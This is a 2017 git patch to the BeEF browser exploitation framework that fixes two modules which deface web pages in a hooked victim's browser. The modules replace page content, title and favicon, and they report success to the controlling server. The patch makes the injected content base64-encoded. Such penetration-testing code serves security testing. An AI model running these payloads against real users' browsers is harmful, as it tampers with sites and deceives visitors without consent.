From 9bbf92de68f15079c6e271ba53009da9c0f169d3 Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Fri, 13 Oct 2017 16:22:34 +0000 Subject: [PATCH] Fix #1453 --- modules/browser/hooked_domain/deface_web_page/command.js | 5 ++--- .../hooked_domain/deface_web_page_component/command.js | 4 ++-- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/modules/browser/hooked_domain/deface_web_page/command.js b/modules/browser/hooked_domain/deface_web_page/command.js index a3e60e065..4ca3d2bf9 100644 --- a/modules/browser/hooked_domain/deface_web_page/command.js +++ b/modules/browser/hooked_domain/deface_web_page/command.js @@ -5,10 +5,9 @@ // beef.execute(function() { - - document.body.innerHTML = "<%= @deface_content %>"; + document.body.innerHTML = decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>')); document.title = "<%= @deface_title %>"; beef.browser.changeFavicon("<%= @deface_favicon %>"); - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful", beef.are.status_success()); }); diff --git a/modules/browser/hooked_domain/deface_web_page_component/command.js b/modules/browser/hooked_domain/deface_web_page_component/command.js index 9448c1ff1..0118b5c25 100644 --- a/modules/browser/hooked_domain/deface_web_page_component/command.js +++ b/modules/browser/hooked_domain/deface_web_page_component/command.js @@ -7,8 +7,8 @@ beef.execute(function() { var result = $j('<%= @deface_selector %>').each(function() { - $j(this).html('<%= @deface_content %>'); + $j(this).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@deface_content) %>'));); }).length; - beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements"); + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Defaced "+ result +" elements", beef.are.status_success()); });